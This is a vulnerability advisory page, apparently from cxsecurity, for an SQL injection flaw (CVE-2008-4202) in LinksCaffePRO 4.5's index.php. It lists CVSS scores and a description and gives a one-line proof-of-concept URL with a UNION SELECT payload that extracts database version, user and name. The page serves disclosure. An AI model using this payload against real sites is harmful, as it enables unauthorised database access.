Bug: Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability ( Ascii Version )

Search:
WLB2

Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability

Published
Credit
Risk
2008.09.26
sl4xUz
High
CWE
CVE
Local
Remote
CWE-89
CVE-2008-4202
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

###########################################################
# security breakd0wn!
###########################################################
#
# Title: Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability
# Vendor: http://gonafish.com/
# Vulnerable Version: 4.5
# Fix: N/A
#
###########################################################
#
# disc0vered: sl4xUz
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "negative"
# stop lammo
#
###########################################################

######################
1. Information
######################
LinksCaffePRO is a MySQL database driven link indexing script written in PHP 4. Using the admin script you have
full control to add/modify/remove any link(s) or categorie(s).

######################
2. Vulnerabilities
######################
SQL Injection in "index.php" in the "idd" parameter.

######################
3. PoC
######################

http://localhost/path/index.php?action=deadlink&idd=-1+union+select+1,2,version(),4,concat(user(),0x3a,database()),6
,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

###########################################################

References:

http://www.securityfocus.com/bid/31187
http://www.milw0rm.com/exploits/6469

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version